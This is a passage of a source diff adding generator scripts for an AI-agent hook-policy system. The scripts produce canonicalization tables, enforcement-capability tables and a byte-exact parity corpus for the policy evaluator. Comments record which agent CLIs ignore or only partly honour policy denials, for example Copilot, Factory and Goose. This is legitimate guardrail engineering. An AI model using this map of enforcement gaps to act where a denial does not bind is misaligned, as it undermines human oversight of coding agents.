source: HANDLER_SOURCE }, + { from: ["sessionId"], to: "session_id", require_type: "string", when: "target_undefined", source: HANDLER_SOURCE }, + ], + // Goose pipes `event` / `working_dir` instead of `hook_event_name` / `cwd`. + // Verified goose v1.43.0. + goose: [ + { from: ["working_dir"], to: "cwd", require_type: "string", when: "always", source: HANDLER_SOURCE }, + { from: ["event"], to: "hook_event_name", require_type: "string", when: "target_undefined", source: HANDLER_SOURCE }, + ], + // Cursor omits top-level `cwd` on every non-tool event and sends + // `workspace_roots: string[]` instead. Unlike the three above this is applied + // by the cwd RESOLVER rather than by an in-place payload rewrite, hence the + // different `source` — but a daemon that skips it loses the cwd that + // `block-read-outside-cwd` and project-scope config discovery both depend on. + cursor: [ + { + from: ["workspace_roots", 0], + to: "cwd", + require_type: "non_empty_string", + when: "target_missing_or_empty", + source: RESOLVE_CWD_SOURCE, + }, + ], +}; + +// ── Emitted document types ─────────────────────────────────────────────────── + +export interface CliCanonicalizationEntry { + /** True when the vendor's own event names ARE the canonical names, i.e. + * there is no `_EVENT_MAP`. `event_map` is then the identity. */ + event_names_are_canonical: boolean; + /** The exported constant `event_types` came from. `HOOK_EVENT_TYPES` means + * the CLI declares no list of its own (today: claude). */ + event_types_source: string; + /** The vendor's own event names. Partitioned exhaustively by + * `event_map` ∪ `unmapped_event_types`. */ + event_types: string[]; + /** Vendor event name → canonical `HookEventType`. Every value is a member of + * `canonical_event_types`. */ + event_map: Record; + /** Vendor events with NO canonical `HookEventType`. A policy cannot subscribe + * to these and `enforcement-capability.json` cannot key them. */ + unmapped_event_types: string[]; + /** Sorted, de-duplicated image of `event_map`. */ + reachable_canonical_events: string[]; + scopes_source: string; + scopes: string[]; + /** Exported constant name, or null when the CLI needs no tool-name mapping. */ + tool_map_source: string | null; + /** Vendor tool name → canonical tool name. Unlisted names pass through. */ + tool_map: Record; + tool_input_map_source: string | null; + /** Canonical tool name → { vendor input key → canonical input key }. Applied + * AFTER `tool_map`, so it is keyed by the canonical name. */ + tool_input_map: Record>; + /** Applied FIRST, before every other table. See `pipeline`. */ + payload_normalizations: PayloadNormalization[]; +} + +export interface CanonicalizationTables { + schema_version: number; + generated_from: string; + generated_by: string; + regenerate_with: string; + description: string; + /** The order the tables must be applied in. */ + pipeline: string[]; + canonical_event_types: string[]; + /** Union of every `tool_map` value. `types.ts` declares no canonical + * tool-name list, so this is the closest thing to one. */ + canonical_tool_names: string[]; + payload_normalization_vocabulary: { + require_type: string[]; + when: string[]; + }; + clis: Record; +} + +export interface CliEnforcementEntry { + /** Canonical event → label. ABSENT MEANS NOT VERIFIED, never "block". */ + capabilities: Record; + /** Canonical events this CLI can produce that carry no label. */ + unverified_events: string[]; + /** Labelled events this CLI's `event_map` cannot actually produce. Non-empty + * is a bug in one of the two source files. */ + capabilities_outside_reachable_events: string[]; +} + +export interface EnforcementCapabilityTable { + schema_version: number; + generated_from: string; + generated_by: string; + regenerate_with: string; + description: string; + absent_means: string; + /** The complete label vocabulary, derived from the values actually present. */ + labels: string[]; + clis: Record; +} + +// ── Helpers ────────────────────────────────────────────────────────────────── + +class CanonGenerationError extends Error {} + +function fail(message: string): never { + throw new CanonGenerationError(message); +} + +const warnings: string[] = []; +function warn(message: string): void { + warnings.push(message); +} + +const moduleNamespace = types as unknown as Record; + +function lookupExport(name: string): T | undefined { + return moduleNamespace[name] as T | undefined; +} + +function constantPrefix(cli: IntegrationType): string { + return cli.toUpperCase(); +} + +/** Recursively sort object keys. Arrays keep the order they were built with. */ +function deepSortKeys(value: unknown): unknown { + if (Array.isArray(value)) return value.map(deepSortKeys); + if (value && typeof value === "object") { + const src = value as Record; + const out: Record = {}; + for (const key of Object.keys(src).sort()) out[key] = deepSortKeys(src[key]); + return out; + } + return value; +} + +/** Stable 2-space JSON with a trailing newline. Byte-identical across runs. */ +export function renderJson(value: unknown): string { + return `${JSON.stringify(deepSortKeys(value), null, 2)}\n`; +} + +function sortedUnique(values: Iterable): string[] { + return [...new Set(values)].sort(); +} + +// ── Runtime probes ─────────────────────────────────────────────────────────── + +const PROBE_SENTINEL = "__fpai_canon_probe__"; + +/** + * Prove the emitted tool tables describe what the runtime actually does. A + * table that names a mapping `canonicalizeToolName` never performs would send + * the Rust daemon down a different code path than the TypeScript reference, + * which is exactly the class of bug byte-exact parity exists to catch. + */ +function probeToolTables( + cli: IntegrationType, + toolMap: Record | undefined, + toolInputMap: Record> | undefined, + allToolMapKeys: readonly string[], + allToolInputPairs: ReadonlyArray, +): void { + if (toolMap) { + for (const [raw, canonical] of Object.entries(toolMap)) { + const actual = canonicalizeToolName(raw, cli); + if (actual !== canonical) { + fail( + `${constantPrefix(cli)}_TOOL_MAP says ${JSON.stringify(raw)} → ${JSON.stringify(canonical)}, ` + + `but canonicalizeToolName() returned ${JSON.stringify(actual)}. ` + + `Add or fix the "${cli}" branch in src/hooks/tool-name-canonicalize.ts.`, + ); + } + } + } else { + // No declared map: assert the runtime really has no hidden branch for this + // CLI, by throwing every OTHER CLI's vendor tool name at it. + for (const raw of allToolMapKeys) { + const actual = canonicalizeToolName(raw, cli); + if (actual !== raw) { + fail( + `No ${constantPrefix(cli)}_TOOL_MAP is exported from src/hooks/types.ts, but ` + + `canonicalizeToolName(${JSON.stringify(raw)}, "${cli}") returned ${JSON.stringify(actual)}. ` + + `The runtime canonicalizes "${cli}" tool names from a table this generator cannot see.`, + ); + } + } + } + + if (toolInputMap) { + for (const [toolName, keyMap] of Object.entries(toolInputMap)) { + for (const [vendorKey, canonicalKey] of Object.entries(keyMap)) { + const out = canonicalizeToolInput(toolName, { [vendorKey]: PROBE_SENTINEL }, cli) as Record< + string, + unknown + >; + if (out?.[canonicalKey] !== PROBE_SENTINEL) { + fail( + `${constantPrefix(cli)}_TOOL_INPUT_MAP says ${toolName}.${vendorKey} → ${canonicalKey}, ` + + `but canonicalizeToolInput() produced ${JSON.stringify(out)}. ` + + `Add or fix the "${cli}" branch in src/hooks/tool-name-canonicalize.ts.`, + ); + } + } + } + } else { + for (const [toolName, vendorKey] of allToolInputPairs) { + const out = canonicalizeToolInput(toolName, { [vendorKey]: PROBE_SENTINEL }, cli) as Record< + string, + unknown + >; + if (out?.[vendorKey] !== PROBE_SENTINEL) { + fail( + `No ${constantPrefix(cli)}_TOOL_INPUT_MAP is exported from src/hooks/types.ts, but ` + + `canonicalizeToolInput(${JSON.stringify(toolName)}, {${vendorKey}}, "${cli}") rewrote the key ` + + `(${JSON.stringify(out)}). The runtime canonicalizes "${cli}" tool inputs from a table this ` + + `generator cannot see.`, + ); + } + } + } +} + +// ── Builders ───────────────────────────────────────────────────────────────── + +export function buildCanonicalizationTables(): CanonicalizationTables { + warnings.length = 0; + + const canonicalEvents = new Set(HOOK_EVENT_TYPES as readonly string[]); + + for (const cli of Object.keys(PAYLOAD_NORMALIZATIONS)) { + if (!(INTEGRATION_TYPES as readonly string[]).includes(cli)) { + fail( + `PAYLOAD_NORMALIZATIONS has an entry for "${cli}", which is not in INTEGRATION_TYPES. ` + + `Remove the stale key or add the CLI to src/hooks/types.ts.`, + ); + } + } + + // Collect every declared vendor tool name / tool-input pair up front, so the + // "this CLI declares no map" probe has something meaningful to throw at it. + const allToolMapKeys = new Set(); + const allToolInputPairs: Array = []; + for (const cli of INTEGRATION_TYPES) { + const prefix = constantPrefix(cli); + const tm = lookupExport>(`${prefix}_TOOL_MAP`); + if (tm) for (const key of Object.keys(tm)) allToolMapKeys.add(key); + const tim = lookupExport>>(`${prefix}_TOOL_INPUT_MAP`); + if (tim) { + for (const [toolName, keyMap] of Object.entries(tim)) { + for (const vendorKey of Object.keys(keyMap)) allToolInputPairs.push([toolName, vendorKey] as const); + } + } + } + const probeToolNames = [...allToolMapKeys].sort(); + + const clis: Record = {}; + const canonicalToolNames = new Set(); + + for (const cli of INTEGRATION_TYPES) { + const prefix = constantPrefix(cli); + const eventTypesName = `${prefix}_HOOK_EVENT_TYPES`; + const eventMapName = `${prefix}_EVENT_MAP`; + const toolMapName = `${prefix}_TOOL_MAP`; + const toolInputMapName = `${prefix}_TOOL_INPUT_MAP`; + const scopesName = `${prefix}_HOOK_SCOPES`; + + const declaredEventTypes = lookupExport(eventTypesName); + const eventMap = lookupExport>(eventMapName); + const toolMap = lookupExport>(toolMapName); + const toolInputMap = lookupExport>>(toolInputMapName); + const declaredScopes = lookupExport(scopesName); + + // A CLI that renames events MUST declare which events it renames. + if (eventMap && !declaredEventTypes) { + fail( + `${eventMapName} is exported from src/hooks/types.ts but ${eventTypesName} is not. ` + + `The event map cannot be shown total without the vendor's own event list.`, + ); + } + + let eventTypesSource = eventTypesName; + let eventTypes: readonly string[]; + if (declaredEventTypes) { + eventTypes = declaredEventTypes; + } else { + // No vendor list and (by the check above) no event map: the CLI's names + // are the canonical names. True for claude today. + eventTypes = HOOK_EVENT_TYPES as readonly string[]; + eventTypesSource = "HOOK_EVENT_TYPES"; + warn( + `${cli}: no ${eventTypesName} export — falling back to HOOK_EVENT_TYPES ` + + `(recorded as event_types_source in the output).`, + ); + } + + if (eventMap) { + const missing = eventTypes.filter((event) => !(event in eventMap)); + if (missing.length > 0) { + fail( + `${eventMapName} is not total over ${eventTypesName}: no mapping for ` + + `${missing.map((m) => JSON.stringify(m)).join(", ")}.`, + ); + } + const extra = Object.keys(eventMap).filter((k) => !eventTypes.includes(k)); + if (extra.length > 0) { + fail( + `${eventMapName} maps ${extra.map((m) => JSON.stringify(m)).join(", ")}, which ` + + `${extra.length === 1 ? "is" : "are"} not in ${eventTypesName}.`, + ); + } + } + + const emittedEventMap: Record = {}; + const unmappedEventTypes: string[] = []; + for (const vendorEvent of eventTypes) { + const canonical = eventMap ? eventMap[vendorEvent] : vendorEvent; + if (canonicalEvents.has(canonical)) { + emittedEventMap[vendorEvent] = canonical; + } else { + unmappedEventTypes.push(vendorEvent); + warn( + `${cli}: vendor event ${JSON.stringify(vendorEvent)} has no canonical HookEventType ` + + `(${eventMap ? `${eventMapName} → ${JSON.stringify(canonical)}` : "identity"}). ` + + `Recorded in unmapped_event_types; no policy can subscribe to it.`, + ); + } + } + + probeToolTables(cli, toolMap, toolInputMap, probeToolNames, allToolInputPairs); + + if (toolMap) for (const value of Object.values(toolMap)) canonicalToolNames.add(value); + + let scopesSource = scopesName; + let scopes: readonly string[]; + if (declaredScopes) { + scopes = declaredScopes; + } else { + scopes = HOOK_SCOPES as readonly string[]; + scopesSource = "HOOK_SCOPES"; + warn( + `${cli}: no ${scopesName} export — falling back to HOOK_SCOPES ` + + `(recorded as scopes_source in the output).`, + ); + } + + clis[cli] = { + event_names_are_canonical: !eventMap, + event_types_source: eventTypesSource, + event_types: [...eventTypes].sort(), + event_map: emittedEventMap, + unmapped_event_types: unmappedEventTypes.sort(), + reachable_canonical_events: sortedUnique(Object.values(emittedEventMap)), + scopes_source: scopesSource, + scopes: [...scopes].sort(), + tool_map_source: toolMap ? toolMapName : null, + tool_map: toolMap ? { ...toolMap } : {}, + tool_input_map_source: toolInputMap ? toolInputMapName : null, + tool_input_map: toolInputMap ? { ...toolInputMap } : {}, + payload_normalizations: PAYLOAD_NORMALIZATIONS[cli] ?? [], + }; + } + + return { + schema_version: SCHEMA_VERSION, + generated_from: "src/hooks/types.ts", + generated_by: "scripts/gen-canon-tables.ts", + regenerate_with: REGENERATE_COMMAND, + description: + "Per-CLI canonicalization tables for the failproofai hook pipeline. Consumed by the Rust " + + "fpai-canon crate. src/hooks/types.ts is the single source of truth; do not hand-edit.", + pipeline: ["payload_normalizations", "event_map", "tool_map", "tool_input_map"], + canonical_event_types: [...(HOOK_EVENT_TYPES as readonly string[])].sort(), + canonical_tool_names: sortedUnique(canonicalToolNames), + payload_normalization_vocabulary: { + require_type: [...PAYLOAD_REQUIRE_TYPES].sort(), + when: [...PAYLOAD_WHEN].sort(), + }, + clis, + }; +} + +export function buildEnforcementCapability( + canonicalization: CanonicalizationTables, +): EnforcementCapabilityTable { + const labels = new Set(); + const clis: Record = {}; + + for (const cli of INTEGRATION_TYPES) { + const perCli = ENFORCEMENT_CAPABILITY[cli]; + if (!perCli) { + fail( + `ENFORCEMENT_CAPABILITY has no entry for "${cli}". Every INTEGRATION_TYPES member needs ` + + `one (an empty object is fine — absent means "not verified", and the table must still be total).`, + ); + } + + const entry = canonicalization.clis[cli]; + const reachable = new Set(entry.reachable_canonical_events); + + const capabilities: Record = {}; + for (const [event, label] of Object.entries(perCli)) { + if (typeof label !== "string") continue; + capabilities[event] = label; + labels.add(label); + } + + const outside = Object.keys(capabilities).filter((event) => !reachable.has(event)); + for (const event of outside) { + warn( + `${cli}: ENFORCEMENT_CAPABILITY labels ${JSON.stringify(event)}, but the CLI's event map ` + + `cannot produce it. One of the two source files is wrong.`, + ); + } + + clis[cli] = { + capabilities, + unverified_events: [...reachable].filter((event) => !(event in capabilities)).sort(), + capabilities_outside_reachable_events: outside.sort(), + }; + } + + return { + schema_version: SCHEMA_VERSION, + generated_from: "src/hooks/enforcement-capability.ts", + generated_by: "scripts/gen-canon-tables.ts", + regenerate_with: REGENERATE_COMMAND, + description: + "Does a policy DENY on this (cli, canonical event) pair actually change the agent's behaviour, " + + "given the wire shape failproofai emits today? Consumed by the Rust adapter descriptor, which is " + + "asserted against this table. src/hooks/enforcement-capability.ts is the single source of truth; " + + "do not hand-edit.", + absent_means: + "NOT VERIFIED. Never assume \"block\" — a hedge rendered in a UI is still a claim, and an " + + "unverified claim is what the source file exists to prevent.", + labels: sortedUnique(labels), + clis, + }; +} + +// ── Emit ───────────────────────────────────────────────────────────────────── + +export interface GeneratedFile { + filename: string; + contents: string; +} + +/** Build both documents. Throws on any structural violation; nothing is written. */ +export function generate(): GeneratedFile[] { + const canonicalization = buildCanonicalizationTables(); + const enforcement = buildEnforcementCapability(canonicalization); + return [ + { filename: CANONICALIZATION_TABLES_FILENAME, contents: renderJson(canonicalization) }, + { filename: ENFORCEMENT_CAPABILITY_FILENAME, contents: renderJson(enforcement) }, + ]; +} + +/** Build and write. Returns the absolute paths written. */ +export function writeTables(outDir: string = DEFAULT_OUT_DIR): string[] { + const files = generate(); + mkdirSync(outDir, { recursive: true }); + return files.map(({ filename, contents }) => { + const target = join(outDir, filename); + writeFileSync(target, contents, "utf8"); + return target; + }); +} + +/** Warnings accumulated by the most recent `generate()` call. */ +export function lastWarnings(): string[] { + return [...warnings]; +} + +// ── CLI ────────────────────────────────────────────────────────────────────── + +function parseArgs(argv: string[]): { outDir: string; check: boolean } { + let outDir = DEFAULT_OUT_DIR; + let check = false; + for (let i = 0; i < argv.length; i += 1) { + const arg = argv[i]; + if (arg === "--out" || arg === "-o") { + const next = argv[i + 1]; + if (!next) fail(`--out requires a directory argument.`); + outDir = resolve(next); + i += 1; + } else if (arg === "--check") { + check = true; + } else if (arg === "--help" || arg === "-h") { + process.stdout.write( + `Usage: ${REGENERATE_COMMAND} [--out ] [--check]\n\n` + + ` --out write the JSON tables to (default: crates/generated)\n` + + ` --check build and verify only; write nothing\n`, + ); + process.exit(0); + } else { + fail(`Unknown argument ${JSON.stringify(arg)}. Try --help.`); + } + } + return { outDir, check }; +} + +function main(argv: string[]): number { + let outDir: string; + let check: boolean; + try { + ({ outDir, check } = parseArgs(argv)); + } catch (err) { + process.stderr.write(`[gen-canon-tables] ${(err as Error).message}\n`); + return 2; + } + + let files: GeneratedFile[]; + try { + files = generate(); + } catch (err) { + if (err instanceof CanonGenerationError) { + process.stderr.write(`[gen-canon-tables] FAILED: ${err.message}\n`); + return 1; + } + throw err; + } + + for (const message of lastWarnings()) { + process.stderr.write(`[gen-canon-tables] warning: ${message}\n`); + } + + if (check) { + let stale = 0; + for (const { filename, contents } of files) { + const target = join(outDir, filename); + let existing = ""; + try { + existing = readFileSync(target, "utf8"); + } catch { + process.stderr.write(`[gen-canon-tables] missing: ${target}\n`); + stale += 1; + continue; + } + if (existing !== contents) { + process.stderr.write(`[gen-canon-tables] stale: ${target}\n`); + stale += 1; + } + } + if (stale > 0) { + process.stderr.write(`[gen-canon-tables] ${stale} file(s) out of date. Run: ${REGENERATE_COMMAND}\n`); + return 1; + } + process.stdout.write(`[gen-canon-tables] up to date (${files.length} files).\n`); + return 0; + } + + mkdirSync(outDir, { recursive: true }); + for (const { filename, contents } of files) { + const target = join(outDir, filename); + writeFileSync(target, contents, "utf8"); + process.stdout.write(`[gen-canon-tables] wrote ${target}\n`); + } + return 0; +} + +// Run only when executed directly, never on import (the drift test imports the +// builders). `import.meta.main` is bun-only, so compare argv instead. +const invokedPath = process.argv[1] ? resolve(process.argv[1]) : ""; +if (invokedPath && invokedPath === fileURLToPath(import.meta.url)) { + process.exit(main(process.argv.slice(2))); +} diff --git a/scripts/gen-parity-corpus.mjs b/scripts/gen-parity-corpus.mjs new file mode 100644 index 00000000..e49e763c --- /dev/null +++ b/scripts/gen-parity-corpus.mjs @@ -0,0 +1,885 @@ +/** + * gen-parity-corpus.mjs — emit the Stage-0 parity corpus and the (cli, event) + * coverage map that the Rust reimplementation is diffed against. + * + * ┌──────────────────────────────────────────────────────────────────────────┐ + * │ REGENERATE WITH: bun scripts/gen-parity-corpus.mjs │ + * └──────────────────────────────────────────────────────────────────────────┘ + * + * Outputs: + * + * __tests__/parity/fixtures///.json the corpus + * __tests__/parity/fixtures/manifest.json count + corpus digest + * __tests__/parity/coverage.json the (cli, event) map + * + * WHY THIS EXISTS. `policy-evaluator.ts` encodes roughly a dozen mutually + * incompatible native response contracts — Cursor's flat + * `{permission, user_message, agent_message}` with `followup_message` on Stop + * only and a `{continue:false}` special case on `UserPromptSubmit`; Copilot, + * where exit 2 is never a deny channel; Factory, which ignores JSON on tool + * events and requires exit 2 *except* on Stop; Antigravity's + * `{decision:"continue"}` on Stop; Goose, which honours deny on `PreToolUse` + * only. **Byte-exactness is the only assertion that catches a reimplementation + * that is "semantically equivalent" and silently allows.** So every fixture + * records the exact `exitCode` / `stdout` / `stderr` the TypeScript reference + * produced, and the future Rust daemon is diffed against those bytes. + * + * WHAT IS UNDER TEST. The **response encoding matrix**, not the policies. The + * corpus is driven by synthetic policies that return a fixed decision (the + * technique in `__tests__/hooks/inert-deny-shapes.test.ts`), so the oracle is + * independent of what any builtin happens to do today. Canonicalization — the + * per-CLI event/tool/payload rewrites that run *before* the evaluator — is a + * different artifact with a different gate (`crates/generated/*.json` + + * `__tests__/parity/canon-tables-drift.test.ts`), so the payloads below are + * already canonical. + * + * DETERMINISM IS A HARD REQUIREMENT (see "Corpus determinism" in + * `desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/03-risks-and-amendments.md`). + * A corpus that bakes in a developer's home directory is worthless the moment + * anyone else regenerates it. Three defences, all enforced here rather than + * assumed: + * + * 1. Every input is a fixed synthetic constant ({@link SYNTHETIC}). No + * `homedir()`, no `cwd()`, no timestamps, no random ids. + * 2. {@link assertNoMachineSpecificValues} greps every emitted byte for this + * machine's home directory, cwd, repo root and username, and fails the run + * if any of them leaked. + * 3. {@link assertRegistryIsSynthetic} proves that no subprocess-spawning or + * filesystem-writing policy was reachable: the registry is cleared, only + * closures created in this file are registered, `getPoliciesForEvent` + * returns exactly those closures, and the number of invocations is checked + * against the number expected. A policy that is not in the registry cannot + * run, so this is a proof rather than a spot check. + * + * NOTHING IS HARDCODED. The CLI list is `INTEGRATION_TYPES`, the event list is + * `HOOK_EVENT_TYPES`, and the installed-event list per CLI is + * `getIntegration(cli).eventTypes` — the same array `writeHookEntries` iterates + * when it writes a settings file. A thirteenth CLI or a new event changes the + * corpus the moment its constants land, and the committed files then fail the + * drift gate loudly instead of silently under-testing. + * + * Usage: + * bun scripts/gen-parity-corpus.mjs # write __tests__/parity/ + * bun scripts/gen-parity-corpus.mjs --out # write elsewhere (tests) + * bun scripts/gen-parity-corpus.mjs --check # verify only, write nothing + */ +import { createHash } from "node:crypto"; +import { mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { homedir, userInfo } from "node:os"; +import { dirname, join, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; + +import { evaluatePolicies } from "../src/hooks/policy-evaluator"; +import { + clearPolicies, + getAllPolicies, + getPoliciesForEvent, + normalizePolicyName, + registerPolicy, +} from "../src/hooks/policy-registry"; +import { allow, deny, instruct } from "../src/hooks/policy-helpers"; +import { BUILTIN_POLICIES } from "../src/hooks/builtin-policies"; +import { HOST_ACCESS_POLICIES } from "../src/hooks/builtin/host-access"; +import * as types from "../src/hooks/types"; +import { HOOK_EVENT_TYPES, INTEGRATION_TYPES } from "../src/hooks/types"; +import { ENFORCEMENT_CAPABILITY } from "../src/hooks/enforcement-capability"; +import { getIntegration } from "../src/hooks/integrations"; + +// ── Schema version ─────────────────────────────────────────────────────────── +// +// Bump when the SHAPE of a fixture, the manifest or the coverage map changes (a +// renamed key, a changed label vocabulary). Do NOT bump for content changes — a +// new CLI, a new event, a reworded deny template — those are data. +export const SCHEMA_VERSION = 1; + +export const REGENERATE_COMMAND = "bun scripts/gen-parity-corpus.mjs"; + +export const FIXTURES_DIRNAME = "fixtures"; +export const MANIFEST_FILENAME = "manifest.json"; +export const COVERAGE_FILENAME = "coverage.json"; + +const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), ".."); +export const DEFAULT_OUT_DIR = join(REPO_ROOT, "__tests__", "parity"); + +const ENFORCEMENT_CAPABILITY_JSON = join( + REPO_ROOT, + "crates", + "generated", + "enforcement-capability.json", +); + +// ── The corpus dimensions ──────────────────────────────────────────────────── + +/** What every synthetic policy in a case returns. */ +export const DECISION_KINDS = ["deny", "instruct", "allow-with-reason", "allow-silent"]; + +/** Whether the payload carries `tool_name` / `tool_input`. Drives the deny noun + * (`Blocked Bash …` vs `Blocked stop …`) and the tool-name policy matcher. */ +export const TOOL_PRESENCE = ["tool-present", "tool-absent"]; + +/** One policy exercises the singular paths; two exercise the accumulating ones — + * the joined `instruct` reason, the `policies: a, b` plural attribution, the + * multi-line allow-note stderr, and deny's short-circuit past a second policy. */ +export const POLICY_COUNTS = [1, 2]; + +const POLICY_COUNT_SLUG = { 1: "one-policy", 2: "two-policies" }; + +/** Total over the full cross product. Derived, never written down. */ +export const EXPECTED_FIXTURE_COUNT = + INTEGRATION_TYPES.length * + HOOK_EVENT_TYPES.length * + DECISION_KINDS.length * + TOOL_PRESENCE.length * + POLICY_COUNTS.length; + +// ── Synthetic inputs ───────────────────────────────────────────────────────── + +/** + * Every value that enters a fixture. All fixed, none read from the host — this + * is what makes two runs on two machines byte-identical. + */ +export const SYNTHETIC = { + home: "/home/u", + cwd: "/home/u/project", + projectDir: "/home/u/project", + sessionId: "sess-fixture-1", + transcriptPath: "/home/u/project/.fixture/transcript.jsonl", + permissionMode: "default", + toolName: "Bash", + toolInput: { command: "git status --short" }, + policyDescription: "parity corpus synthetic policy", + policyNamePrefix: "parity/policy-", +}; + +/** + * Deliberately hostile to a sloppy JSON encoder. Every character class below is + * a place where two "correct" serializers legitimately disagree, and each one + * would sail through a semantic comparison while changing the bytes a vendor + * CLI parses: + * + * QUOTE, BACKSLASH must be escaped; the only two that always are. + * SOLIDUS must NOT be escaped. Escaping it is legal JSON and a + * different byte string, which is exactly the trap. + * LT, GT, AMPERSAND must NOT be escaped. HTML-safe encoders emit the \u00XX + * form; a vendor CLI then shows literal escape sequences. + * LF, TAB must use the two-character short escapes, never the + * six-character \u000a / \u0009 forms, never a raw byte. + * U+00E9 raw UTF-8, not an \u escape. + * U+1D11E a surrogate pair, emitted as raw UTF-8 rather than two + * \u escapes. The single most common Rust/JS divergence. + * + * No leading or trailing whitespace: `appendHint` trims the deny/instruct reason + * but the allow path does not, and a trailing tab would make the two paths + * disagree for a reason that has nothing to do with the response matrix. + */ +const REASON_STRESS = '"q" \\ /s/ &a\né𝄞\tend'; + +function fixtureReason(index) { + return `parity reason ${index}: ${REASON_STRESS}`; +} + +// ── Failure plumbing ───────────────────────────────────────────────────────── + +class CorpusGenerationError extends Error {} + +function fail(message) { + throw new CorpusGenerationError(message); +} + +// ── Determinism guards ─────────────────────────────────────────────────────── + +/** + * Needles that must never appear in an emitted byte. Short values are dropped: + * a two-character username would match half the corpus by coincidence, and a + * false tripwire teaches people to disable the real one. + */ +function machineSpecificNeedles() { + const raw = [ + ["os.homedir()", safeHomedir()], + ["process.cwd()", process.cwd()], + ["the repo root", REPO_ROOT], + ["os.userInfo().username", safeUsername()], + ]; + return raw.filter(([, value]) => typeof value === "string" && value.length >= 4); +} + +function safeHomedir() { + try { + return homedir(); + } catch { + return ""; + } +} + +function safeUsername() { + try { + return userInfo().username; + } catch { + return ""; + } +} + +/** + * Fail loudly if this machine leaked into the corpus. + * + * A needle that is a substring of one of the synthetic constants is ALSO a + * failure rather than a skip: the check cannot distinguish "the fixture is + * clean" from "the fixture is dirty and happens to look clean", so the only + * honest outcome is to stop and make the maintainer move the constant. + */ +function assertNoMachineSpecificValues(files) { + const needles = machineSpecificNeedles(); + const syntheticText = JSON.stringify(SYNTHETIC); + for (const [label, needle] of needles) { + if (syntheticText.includes(needle)) { + fail( + `this machine's ${label} (${JSON.stringify(needle)}) is a substring of a value in ` + + `SYNTHETIC, so the determinism check cannot tell a clean fixture from a dirty one. ` + + `Change the colliding constant in scripts/gen-parity-corpus.mjs.`, + ); + } + } + for (const file of files) { + for (const [label, needle] of needles) { + if (file.contents.includes(needle)) { + fail( + `${file.relPath} contains this machine's ${label} (${JSON.stringify(needle)}). ` + + `The corpus must be byte-identical on every machine — every input has to come ` + + `from SYNTHETIC, never from the host.`, + ); + } + } + } +} + +// ── Policy-registry purity ─────────────────────────────────────────────────── + +const BUILTIN_POLICY_NAMES = new Set(BUILTIN_POLICIES.map((p) => normalizePolicyName(p.name))); +const HOST_ACCESS_POLICY_NAMES = new Set( + HOST_ACCESS_POLICIES.map((p) => normalizePolicyName(p.name)), +); + +/** + * Prove that only this file's closures can run. + * + * The plan calls this out under "Corpus determinism": the generator must assert + * that no subprocess-spawning or filesystem-writing policy was reached. Seven + * builtins shell out to `git` / `gh` (`src/hooks/builtin/host-access.ts`) and + * the custom-hook loader writes temp files — any of them running would make the + * corpus depend on the repository's branch, remote and CI state. By + * construction none is registered; this asserts it rather than assuming it. + */ +function assertRegistryIsSynthetic(specs, ownFns, eventType, toolName) { + const expectedNames = specs.map((s) => normalizePolicyName(s.name)); + + const registered = getAllPolicies(); + if (registered.length !== specs.length) { + fail( + `policy registry holds ${registered.length} policies, expected exactly the ` + + `${specs.length} synthetic one(s): ${registered.map((p) => p.name).join(", ")}`, + ); + } + for (const policy of registered) { + if (!ownFns.has(policy.fn)) { + fail( + `policy "${policy.name}" is registered with a function this generator did not create. ` + + `The corpus would no longer be independent of builtin logic.`, + ); + } + if (BUILTIN_POLICY_NAMES.has(policy.name)) { + fail(`builtin policy "${policy.name}" leaked into the corpus registry.`); + } + if (HOST_ACCESS_POLICY_NAMES.has(policy.name)) { + fail( + `host-access policy "${policy.name}" leaked into the corpus registry — it shells out to ` + + `git/gh and would make the corpus depend on this checkout.`, + ); + } + } + if (registered.map((p) => p.name).join("\n") !== expectedNames.join("\n")) { + fail( + `policy registry names ${JSON.stringify(registered.map((p) => p.name))} do not match the ` + + `synthetic specs ${JSON.stringify(expectedNames)}.`, + ); + } + + // The evaluator selects through getPoliciesForEvent, so assert on what IT + // returns, not merely on what the registry holds. + const selected = getPoliciesForEvent(eventType, toolName); + if (selected.map((p) => p.name).join("\n") !== expectedNames.join("\n")) { + fail( + `getPoliciesForEvent(${eventType}, ${String(toolName)}) selected ` + + `${JSON.stringify(selected.map((p) => p.name))}, expected ${JSON.stringify(expectedNames)}.`, + ); + } +} + +// ── Case construction ──────────────────────────────────────────────────────── + +function policySpecs(decisionKind, policyCount) { + const specs = []; + for (let i = 1; i <= policyCount; i += 1) { + const name = `${SYNTHETIC.policyNamePrefix}${i}`; + if (decisionKind === "allow-silent") { + specs.push({ name, decision: "allow", reason: null }); + } else if (decisionKind === "allow-with-reason") { + specs.push({ name, decision: "allow", reason: fixtureReason(i) }); + } else { + specs.push({ name, decision: decisionKind, reason: fixtureReason(i) }); + } + } + return specs; +} + +function policyResultFor(spec) { + if (spec.decision === "deny") return deny(spec.reason); + if (spec.decision === "instruct") return instruct(spec.reason); + return spec.reason === null ? allow() : allow(spec.reason); +} + +function buildPayload(eventType, toolPresence) { + const payload = { + cwd: SYNTHETIC.cwd, + hook_event_name: eventType, + session_id: SYNTHETIC.sessionId, + transcript_path: SYNTHETIC.transcriptPath, + }; + if (toolPresence === "tool-present") { + payload.tool_name = SYNTHETIC.toolName; + payload.tool_input = { ...SYNTHETIC.toolInput }; + } + return payload; +} + +function buildSession(cli, eventType) { + return { + cli, + cwd: SYNTHETIC.cwd, + home: SYNTHETIC.home, + hookEventName: eventType, + permissionMode: SYNTHETIC.permissionMode, + projectDir: SYNTHETIC.projectDir, + sessionId: SYNTHETIC.sessionId, + transcriptPath: SYNTHETIC.transcriptPath, + }; +} + +export function caseId(decisionKind, toolPresence, policyCount) { + return `${decisionKind}__${toolPresence}__${POLICY_COUNT_SLUG[policyCount]}`; +} + +export function fixtureRelPath(cli, eventType, decisionKind, toolPresence, policyCount) { + return `${FIXTURES_DIRNAME}/${cli}/${eventType}/${caseId(decisionKind, toolPresence, policyCount)}.json`; +} + +// ── JSON rendering ─────────────────────────────────────────────────────────── + +/** Recursively sort object keys. Arrays keep the order they were built with. */ +function deepSortKeys(value) { + if (Array.isArray(value)) return value.map(deepSortKeys); + if (value && typeof value === "object") { + const src = value; + const out = {}; + for (const key of Object.keys(src).sort()) out[key] = deepSortKeys(src[key]); + return out; + } + return value; +} + +/** Stable 2-space JSON with a trailing newline. Byte-identical across runs. */ +export function renderJson(value) { + return `${JSON.stringify(deepSortKeys(value), null, 